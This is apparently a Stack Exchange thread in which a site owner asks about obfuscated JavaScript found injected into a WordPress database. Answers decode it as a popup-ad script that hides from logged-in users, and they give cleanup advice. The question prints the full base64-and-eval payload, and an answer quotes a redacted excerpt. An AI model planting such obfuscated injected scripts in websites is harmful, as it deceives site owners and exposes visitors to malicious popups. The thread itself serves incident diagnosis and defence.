A client's website runs on the theme 'enfold' which features the "Enfold Advanced Layout Editor". Currently that editor is broken – probably due to old version vs php or something. Anyways – trying to resolve the issue I was looking at the actual database tables and some 20 empty lines below the content of the page I found this very strange looking JavaScript code:

<script> </script> <script> </script> <script> </script>
<script type="text/javascript">
var GVCNLUQKSK = atob('dmFyIEJLWE9TWkdWT1kgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDEzIC0gMywgMTI3IC0gOSwgMTA1IC0gOCwgMTE4IC0gNCwgMzQgLSAyLCAxMTAgLSAzLCAxMDcgLSA2LCAxMjcgLSA2LCAzNCAtIDIsIDY3IC0gNiwgMzQgLSAyLCA0OCAtIDksIDg4IC0gNCwgNzYgLSA3LCA3OSAtIDUsIDc0IC0gNCwgMTIxIC0gOSwgNzggLSA0LCAxMDcgLSA3LCAxMjUgLSAzLCA3NSAtIDIsIDEyMiAtIDYsIDQwIC0gMSwgNjggLSA5LCAxMSAtIDEsIDEyNiAtIDgsIDk5IC0gMiwgMTE5IC0gNSwgMzkgLSA3LCAxMDcgLSA2LCAxMTMgLSAzLCAxMDIgLSAzLCAxMDkgLSA4LCAxMDQgLSA0LCAzMyAtIDEsIDY1IC0gNCwgMzcgLSA1LCA0NCAtIDUsIDc4IC0gNSwgMTA4IC0gMywgOTAgLSA5LCA1NiAtIDQsIDk1IC0gNSwgMTA3IC0gNCwgNjYgLSAxLCA1OSAtIDcsIDc0IC0gOSwgMTExIC0gNywgOTggLSA4LCAxMTkgLSA3LCA4NCAtIDEsIDg5IC0gMSwgODggLSA3LCAxMDcgLSAzLCA3OSAtIDUsIDkxIC0gOCwgODkgLSA0LCA3MSAtIDEsIDgxIC0gNywgMTI2IC0gNywgNzcgLSA4LCA5NCAtIDksIDg1IC0gNSwgOTQgLSA4LCAxMTIgLSAxLCA1NiAtIDUsIDg2IC0gOCwgMTI3IC0gNiwgNjUgLSA5LCAxMTIgLSAyLCA3NSAtIDksIDc1IC0gOCwgNjUgLSA5LCAxMDkgLSA1LCA3NyAtIDcsIDEwNyAtIDIsIDEyMiAtIDMsIDk4IC0gOCwgODUgLSA4LCA4OCAtIDUsIDExOSAtIDQsIDUwIC0gNywgMTA0IC0gNiwgMTExIC0gMywgMTA3IC0gOCwgNjIgLSA5LCA3MCAtIDQsIDEyNiAtIDcsIDExMiAtIDksIDEwNSAtIDIsIDcxIC0gNSwgNjkgLSAyLCA3MiAtIDYsIDEwOCAtIDMsIDkyIC0gMywgNTIgLSAxLCA1MyAtIDQsIDYxIC0gNywgODIgLSAzLCAxMTIgLSA4LCA5MSAtIDIsIDEwNSAtIDYsIDgxIC0gNywgODkgLSAzLCAxMTYgLSA1LCAxMTkgLSA5LCA3NCAtIDEsIDcwIC0gMiwgNTMgLSAxLCA4MCAtIDgsIDY5IC0gMywgNzAgLSAyLCA1NCAtIDIsIDkzIC0gNiwgNzYgLSA3LCAxMjcgLSA2LCAxMjIgLSA3LCA2OSAtIDMsIDgyIC0gOSwgNzYgLSA5LCA2OSAtIDMsIDExNCAtIDksIDkzIC0gNCwgODkgLSA4LCA4NSAtIDgsIDYwIC0gOCwgNzUgLSA5LCA1NCAtIDUsIDU2IC0gNywgMTE3IC0gOSwgODggLSAzLCAxMjcgLSA1LCAxMjQgLSA1LCAxMjEgLSAxLCA4NyAtIDcsIDEwOSAtIDMsIDkzIC0gMywgODMgLSA4LCA5NyAtIDcsIDk0IC0gOSwgMTE2IC0gMSwgODEgLSAyLCA4MCAtIDEsIDEyNyAtIDcsIDg5IC0gNCwgMTI5IC0gOCwgODIgLSA5LCAxMjkgLSA4LCA3OSAtIDIsIDExNCAtIDYsIDc0IC0gNSwgOTIgLSA4LCAxMTYgLSA1LCA4MCAtIDIsIDkzIC0gNywgNzYgLSA5LCAxMDAgLSAxLCA5MiAtIDMsIDEwNyAtIDYsIDEyOCAtIDYsIDk2IC0gNywgNDkgLSA2LCA3OCAtIDQsIDEyNCAtIDUsIDg3IC0gNiwgMTA5IC0gMywgNzAgLSA0LCA1NCAtIDUsIDkzIC0gOCwgMTEzIC0gNiwgNzQgLSA0LCA4NyAtIDMsIDUyIC0gNCwgMTIxIC0gNywgOTEgLSAxLCA3MiAtIDUsIDEyMSAtIDIsIDcwIC0gMiwgMTA1IC0gNywgODYgLSAxLCA1MiAtIDMsIDY5IC0gMywgODIgLSAxLCAxMjkgLSA5LCA3NCAtIDksIDU5IC0gNCwgNzkgLSA1LCAxMTAgLSA0LCA2NSAtIDksIDEyMyAtIDksIDc1IC0gNSwgOTEgLSA4LCA5MCAtIDksIDkwIC0gOSwgODcgLSAxLCA3NCAtIDcsIDc2IC0gNywgODggLSA2LCA4MCAtIDIsIDkxIC0gOCwgNzggLSA4LCAxMDkgLSAyLCA3OCAtIDQsIDEyMCAtIDEsIDY5IC0gNCwgNTkgLSA1LCA3MiAtIDcsIDg4IC0gNiwgODYgLSA1LCAxMTggLSAyLCA4NyAtIDksIDEyOCAtIDYsIDEyMiAtIDMsIDEyMyAtIDgsIDc3IC0gMywgMTA4IC0gMywgNzggLSA0LCA5NiAtIDcsIDg2IC0gNywgMTA5IC0gNSwgOTEgLSAyLCAxMDcgLSA4LCA4MiAtIDgsIDkyIC0gNiwgNTMgLSA0LCAxMTkgLSAxLCA4NiAtIDIsIDEyOCAtIDksIDcwIC0gOSwgNjggLSA3LCA0MiAtIDMsIDYzIC0gNCwgMTEgLSAxLCAxMDMgLSAxLCAxMjUgLSA4LCAxMTcgLSA3LCAxMDUgLSA2LCAxMTkgLSAzLCAxMTQgLSA5LCAxMTggLSA3LCAxMTEgLSAxLCAzNyAtIDUsIDEyNyAtIDcsIDExOSAtIDgsIDExOSAtIDUsIDEwMyAtIDgsIDEwOSAtIDgsIDExNyAtIDcsIDEwMSAtIDIsIDQxIC0gMSwgMTIwIC0gNSwgMTE3IC0gMSwgMTE1IC0gMSwgMTEzIC0gOCwgMTEzIC0gMywgMTExIC0gOCwgNDkgLSA1LCAzMyAtIDEsIDExMyAtIDYsIDEwOCAtIDcsIDEzMCAtIDksIDQyIC0gMSwgMzQgLSAyLCAxMjggLSA1LCAxMyAtIDMsIDM1IC0gMywgNDAgLSA4LCAxMTkgLSAxLCAxMDYgLSA5LCAxMjMgLSA5LCAzNSAtIDMsIDExNyAtIDMsIDEwNyAtIDYsIDExOSAtIDQsIDM1IC0gMywgNjYgLSA1LCAzNiAtIDQsIDQ1IC0gNiwgNDMgLSA0LCA2NyAtIDgsIDE2IC0gNiwgMzYgLSA0LCAzNyAtIDUsIDEwOSAtIDcsIDExMyAtIDIsIDExNiAtIDIsIDM3IC0gNSwgNDkgLSA5LCAxMjYgLSA4LCAxMDEgLSA0LCAxMTUgLSAxLCA0MCAtIDgsIDExMyAtIDgsIDM0IC0gMiwgNzAgLSA5LCA0MCAtIDgsIDUxIC0gMywgNjEgLSAyLCAzNSAtIDMsIDExNCAtIDksIDM4IC0gNiwgNjUgLSA1LCA0MCAtIDgsIDExOSAtIDQsIDEyMiAtIDYsIDExNiAtIDIsIDEwOSAtIDQsIDExMSAtIDEsIDEwOCAtIDUsIDQ3IC0gMSwgMTA5IC0gMSwgMTEwIC0gOSwgMTE2IC0gNiwgMTA3IC0gNCwgMTI0IC0gOCwgMTEyIC0gOCwgNjQgLSA1LCAzNCAtIDIsIDExMCAtIDUsIDQ5IC0gNiwgNDYgLSAzLCA0NiAtIDUsIDQwIC0gOCwgMTMwIC0gNywgMTcgLSA3LCAzOSAtIDcsIDM5IC0gNywgNDEgLSA5LCAzNyAtIDUsIDEyMCAtIDYsIDEwMiAtIDEsIDEyMCAtIDUsIDQwIC0gOCwgNTIgLSA5LCA2MyAtIDIsIDMzIC0gMSwgOTEgLSA4LCAxMTggLSAyLCAxMTggLSA0LCAxMDkgLSA0LCAxMTEgLSAxLCAxMDUgLSAyLCA1MCAtIDQsIDExMSAtIDksIDEyMCAtIDYsIDExNyAtIDYsIDExNiAtIDcsIDY5IC0gMiwgMTA4IC0gNCwgMTAyIC0gNSwgMTIwIC0gNiwgNzMgLSA2LCAxMTMgLSAyLCAxMDEgLSAxLCAxMDYgLSA1LCA0NiAtIDYsIDExOSAtIDQsIDEyMCAtIDQsIDExNiAtIDIsIDEwNyAtIDIsIDExNCAtIDQsIDExMCAtIDcsIDUzIC0gNywgMTAzIC0gNCwgMTA4IC0gNCwgOTggLSAxLCAxMTYgLSAyLCA3NCAtIDcsIDExOSAtIDgsIDEwOCAtIDgsIDEwMyAtIDIsIDY3IC0gMiwgMTE3IC0gMSwgNDYgLSA2LCAxMDggLSAzLCA0NyAtIDYsIDQwIC0gOCwgOTggLSA0LCAxOSAtIDksIDExIC0gMiwgMTMgLSA0LCAxOCAtIDksIDE1IC0gNiwgMTA4IC0gMSwgMTA4IC0gNywgMTI1IC0gNCwgNDggLSAyLCAxMDYgLSA3LCAxMTAgLSA2LCAxMDAgLSAzLCAxMjMgLSA5LCA2OSAtIDIsIDExNyAtIDYsIDEwMSAtIDEsIDEwNSAtIDQsIDY2IC0gMSwgMTI1IC0gOSwgNDUgLSA1LCAxMTAgLSA1LCAzMyAtIDEsIDQ1IC0gOCwgMzggLSA2LCAxMTUgLSA4LCAxMDYgLSA1LCAxMjUgLSA0LCA0OCAtIDIsIDExNyAtIDksIDEwMyAtIDIsIDExMSAtIDEsIDEwOCAtIDUsIDEyNSAtIDksIDEwOCAtIDQsIDQ0IC0gMywgNDkgLSA4LCA2NCAtIDUsIDE3IC0gNywgNDEgLSA5LCAzNCAtIDIsIDEzMiAtIDcsIDEzIC0gMywgMzcgLSA1LCAzOSAtIDcsIDExOSAtIDUsIDEwNCAtIDMsIDExOCAtIDIsIDEyMCAtIDMsIDEyMyAtIDksIDExNSAtIDUsIDM5IC0gNywgMTE3IC0gMywgMTEwIC0gOSwgMTI0IC0gOSwgNjYgLSA3LCAxOCAtIDgsIDEyOSAtIDQsIDE5IC0gOSwgMTIgLSAyLCAxMjQgLSA2LCAxMDYgLSA5LCAxMTYgLSAyLCAzMyAtIDEsIDEwNyAtIDcsIDEwNCAtIDMsIDEwNyAtIDgsIDM5IC0gNywgNjcgLSA2LCA0MCAtIDgsIDEyNyAtIDcsIDExOSAtIDgsIDEyMCAtIDYsIDk2IC0gMSwgMTA0IC0gMywgMTE3IC0gNywgMTAzIC0gNCwgNDMgLSAzLCAxMDMgLSA2LCAxMjIgLSA2LCAxMTcgLSA2LCA5OSAtIDEsIDQ3IC0gNywgMTAzIC0gMiwgMTE5IC0gOSwgMTA2IC0gNywgMTA5IC0gOCwgMTA5IC0gOSwgNDcgLSA2LCA0OCAtIDQsIDM4IC0gNiwgMTE0IC0gNywgMTA5IC0gOCwgMTI3IC0gNiwgNDUgLSA0LCA2MSAtIDIsIDE2IC0gNiwgNDEgLSAxLCAxMTEgLSAxLCAxMDcgLSA2LCAxMjIgLSAzLCA0MSAtIDksIDc1IC0gNSwgMTIzIC0gNiwgMTE3IC0gNywgMTA2IC0gNywgMTE4IC0gMiwgMTA2IC0gMSwgMTE3IC0gNiwgMTE1IC0gNSwgNDMgLSAzLCAxMDMgLSAzLCAxMDkgLSA4LCAxMDYgLSA3LCA0OSAtIDgsIDQyIC0gMSwgNDcgLSA3LCA0NiAtIDUsIDYzIC0gNCwgMTUgLSA1LCAxNCAtIDQpO2V2YWwoQktYT1NaR1ZPWSk7'); 
eval(GVCNLUQKSK);
</script>   
<script> </script> <script> </script> <script> </script>

…should I / my client be concerned…?!

…or is this what "Advanced Layout Editors" do…?

Thank you!

up vote 2 down vote accepted

Decoding that JavaScript "gibberish" reveals that this is a script to open a popup with ads in it after the user clicks somewhere.

The mean part is that these popups won't be shown if you're currently logged in. That's why these scripts often go unnoticed.

Here's a redacted excerpt:

var t = false;
document.onclick= function(event) {
  if (t) {
    return;
  }
  t = true;  

  var cookie = document.cookie || '';
  if (cookie.indexOf('wordpress_logged') !== -1
      || cookie.indexOf('wp-settings') !== -1
      || cookie.indexOf('wordpress_test') !== -1) {
    return;
  }

  if ( event === undefined) event= window.event;
  var target= 'target' in event? event.target : event.srcElement;
  var win = window.open('http://...---redacted---', '_blank');
  win.focus();
};

So yes, you should be concerned. There's a My site was hacked FAQ on WordPress Codex that you should read to take appropriate next steps.

  • Thank you very much! It seems the code is only found directly in the db tables – and as far as i can see all JS is stripped when the pages are rendered – so chances are the malicious popup never actually appeared. – tillinberlin Jan 26 at 11:19

No, that's not what editors do, and yes, you should be worried.

Revert to a clean backup, keep your core and plugins up to date.

Change your WordPress and FTP/SFTP passwords. Make sure that there's not an infected client computer with access to the WP backend.

It might help to install a plugin like WordFence. That won't stop all attacks from happening, or from being successful, but it will stop some of them (mostly the automated ones, which are the absolute majority), and it can help you identify what files are infected.

Your Answer

 
discard

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.